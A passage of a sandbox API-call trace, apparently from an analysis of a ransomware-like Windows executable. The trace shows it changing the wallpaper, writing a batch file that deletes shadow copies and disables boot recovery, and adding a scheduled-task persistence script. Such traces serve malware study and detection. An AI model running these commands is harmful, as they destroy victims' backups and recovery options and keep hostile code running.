lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="sgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Agאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Bgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Wgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="sgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="dgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 1 [0031.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dssabwsd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0031.616] WriteFile (in: hFile=0x174, lpBuffer=0x1de0db0*, nNumberOfBytesToWrite=0xcd96, lpNumberOfBytesWritten=0x18fb18, lpOverlapped=0x0 | out: lpBuffer=0x1de0db0*, lpNumberOfBytesWritten=0x18fb18*=0xcd96, lpOverlapped=0x0) returned 1 [0031.617] CloseHandle (hObject=0x174) returned 1 [0031.618] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dssabwsd.bmp")) returned 0x2020 [0031.618] CharUpperBuffW (in: lpsz="/C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f", cchLength=0xe4 | out: lpsz="/C REG ADD \"HKCU\\CONTROL PANEL\\DESKTOP\" /V WALLPAPER /T REG_SZ /D \"[WP]\" /F & REG ADD \"HKCU\\CONTROL PANEL\\DESKTOP\" /V WALLPAPERSTYLE /T REG_SZ /D \"0\" /F & REG ADD \"HKCU\\CONTROL PANEL\\DESKTOP\" /V TILEWALLPAPER /T REG_SZ /D \"0\" /F") returned 0xe4 [0031.619] CharUpperBuffW (in: lpsz="[WP]", cchLength=0x4 | out: lpsz="[WP]") returned 0x4 [0031.619] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb20*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DSsABWsd.bmp\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f", lpProcessInformation=0x18fb10*(hProcess=0x178, hThread=0x17c, dwProcessId=0xb1c, dwThreadId=0xbe8)) returned 1 [0031.628] CloseHandle (hObject=0x178) returned 1 [0031.628] CloseHandle (hObject=0x17c) returned 1 [0031.628] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.628] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e7fc3c, cbMultiByte=31, lpWideCharStr=0x18eaf4, cchWideChar=2047 | out: lpWideCharStr="/C wscript //B //Nologo \"[DSP]\"sktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ￾￿镌畂弱M\x18丆@籂@") returned 31 [0031.628] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0031.628] GetTickCount () returned 0x1153469 [0031.628] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb24 | out: lpPerformanceCount=0x18fb24*=17358042961) returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0031.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0031.629] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0031.629] GetTickCount () returned 0x1153469 [0031.629] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb24 | out: lpPerformanceCount=0x18fb24*=17358080752) returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb00, cbMultiByte=1, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0031.629] FindResourceW (hModule=0x400000, lpName="DS", lpType=0xa) returned 0x4f5420 [0031.629] LoadResource (hModule=0x400000, hResInfo=0x4f5420) returned 0x4f8b64 [0031.629] SizeofResource (hModule=0x400000, hResInfo=0x4f5420) returned 0xe0 [0031.629] LockResource (hResData=0x4f8b64) returned 0x4f8b64 [0031.629] FreeResource (hResData=0x4f8b64) returned 0 [0031.629] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.629] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.629] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.629] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x1e8e32c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.629] FreeResource (hResData=0x5260dc) returned 0 [0031.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb235c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.629] GetCurrentThreadId () returned 0x5b0 [0031.629] GetCurrentThreadId () returned 0x5b0 [0031.629] GetCurrentThreadId () returned 0x5b0 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=224, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 224 [0031.629] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=224, lpWideCharStr=0x1d9791c, cchWideChar=224 | out: lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"[BP]\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0") returned 224 [0031.629] CharUpperBuffW (in: lpsz="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"[BP]\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchLength=0xe2 | out: lpsz="VSSADMIN DELETE SHADOWS /ALL /QUIET\r\nWMIC SHADOWCOPY DELETE\r\nBCDEDIT /SET {DEFAULT} RECOVERYENABLED NO\r\nBCDEDIT /SET {DEFAULT} BOOTSTATUSPOLICY IGNOREALLFAILURES\r\nDEL /F /Q \"[BP]\"\r\nSCHTASKS /DELETE /TN DSHCA /F\r\nDEL /F /Q %0\r\n") returned 0xe2 [0031.630] CharUpperBuffW (in: lpsz="[BP]", cchLength=0x4 | out: lpsz="[BP]") returned 0x4 [0031.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yw0t0jsm.bat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchWideChar=280, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 280 [0031.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchWideChar=280, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 280 [0031.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", cchWideChar=280, lpMultiByteStr=0x2644be8, cbMultiByte=280, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin Delete Shadows /All /Quiet\r\nwmic SHADOWCOPY DELETE\r\nbcdedit /set {default} recoveryenabled No\r\nbcdedit /set {default} bootstatuspolicy ignoreallfailures\r\ndel /f /q \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"\r\nSCHTASKS /Delete /TN DSHCA /F\r\ndel /f /q %0\r\n", lpUsedDefaultChar=0x0) returned 280 [0031.630] WriteFile (in: hFile=0x17c, lpBuffer=0x2644be8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18fa64, lpOverlapped=0x0 | out: lpBuffer=0x2644be8*, lpNumberOfBytesWritten=0x18fa64*=0x118, lpOverlapped=0x0) returned 1 [0031.631] CloseHandle (hObject=0x17c) returned 1 [0031.632] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yw0t0jsm.bat")) returned 0x2020 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] FindResourceW (hModule=0x400000, lpName="RB", lpType=0xa) returned 0x4f54c0 [0031.632] LoadResource (hModule=0x400000, hResInfo=0x4f54c0) returned 0x526f04 [0031.632] SizeofResource (hModule=0x400000, hResInfo=0x4f54c0) returned 0xdd [0031.632] LockResource (hResData=0x526f04) returned 0x526f04 [0031.632] FreeResource (hResData=0x526f04) returned 0 [0031.632] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.632] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.632] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.632] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x1e8e32c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.632] FreeResource (hResData=0x5260dc) returned 0 [0031.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb235c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] GetCurrentThreadId () returned 0x5b0 [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=221, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 221 [0031.632] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dd3618, cbMultiByte=221, lpWideCharStr=0x1d9791c, cchWideChar=221 | out: lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"[BP]\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n") returned 221 [0031.632] CharUpperBuffW (in: lpsz="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"[BP]\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchLength=0xdd | out: lpsz="OPTION EXPLICIT\r\nDIM W\r\nSET W = CREATEOBJECT(\"WSCRIPT.SHELL\")\r\nW.RUN \"CMD.EXE /C SCHTASKS /CREATE /TN DSHCA /TR \"\"[BP]\"\" /SC MINUTE /MO 5 /RL HIGHEST /F\", 0, TRUE\r\nW.RUN \"CMD.EXE /C SCHTASKS /RUN /I /TN DSHCA\", 0, FALSE\r\n") returned 0xdd [0031.632] CharUpperBuffW (in: lpsz="[BP]", cchLength=0x4 | out: lpsz="[BP]") returned 0x4 [0031.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\abkyvqke.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchWideChar=275, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 275 [0031.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchWideChar=275, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 275 [0031.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", cchWideChar=275, lpMultiByteStr=0x25fa968, cbMultiByte=275, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Option Explicit\r\ndim W\r\nSet W = CreateObject(\"Wscript.Shell\")\r\nW.Run \"cmd.exe /C schtasks /Create /tn DSHCA /tr \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\"\" /sc minute /mo 5 /RL HIGHEST /F\", 0, True\r\nW.Run \"cmd.exe /C schtasks /Run /I /tn DSHCA\", 0, False\r\n", lpUsedDefaultChar=0x0) returned 275 [0031.633] WriteFile (in: hFile=0x17c, lpBuffer=0x25fa968*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x18fa64, lpOverlapped=0x0 | out: lpBuffer=0x25fa968*, lpNumberOfBytesWritten=0x18fa64*=0x113, lpOverlapped=0x0) returned 1 [0031.634] CloseHandle (hObject=0x17c) returned 1 [0031.635] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\abkyvqke.vbs")) returned 0x2020 [0031.635] GetCurrentThreadId () returned 0x5b0 [0031.635] GetCurrentThreadId () returned 0x5b0 [0031.635] GetCurrentThreadId () returned 0x5b0 [0031.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=37, fCreate=0 | out: pszPath="C:\\Windows\\system32") returned 1 [0031.635] CharUpperBuffW (in: lpsz="/C wscript //B //Nologo \"[DSP]\"", cchLength=0x1f | out: lpsz="/C WSCRIPT //B //NOLOGO \"[DSP]\"") returned 0x1f [0031.635] CharUpperBuffW (in: lpsz="[DSP]", cchLength=0x5 | out: lpsz="[DSP]") returned 0x5 [0031.635] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C wscript //B //Nologo \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb14*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb04 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C wscript //B //Nologo \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ABkyVQkE.vbs\"", lpProcessInformation=0x18fb04*(hProcess=0x178, hThread=0x17c, dwProcessId=0x9ac, dwThreadId=0xb8c)) returned 1 [0031.640] CloseHandle (hObject=0x178) returned 1 [0031.641] CloseHandle (hObject=0x17c) returned 1 [0031.641] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f9c0, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.641] GetTickCount () returned 0x1153479 [0031.641] QueryPerformanceCounter (in: 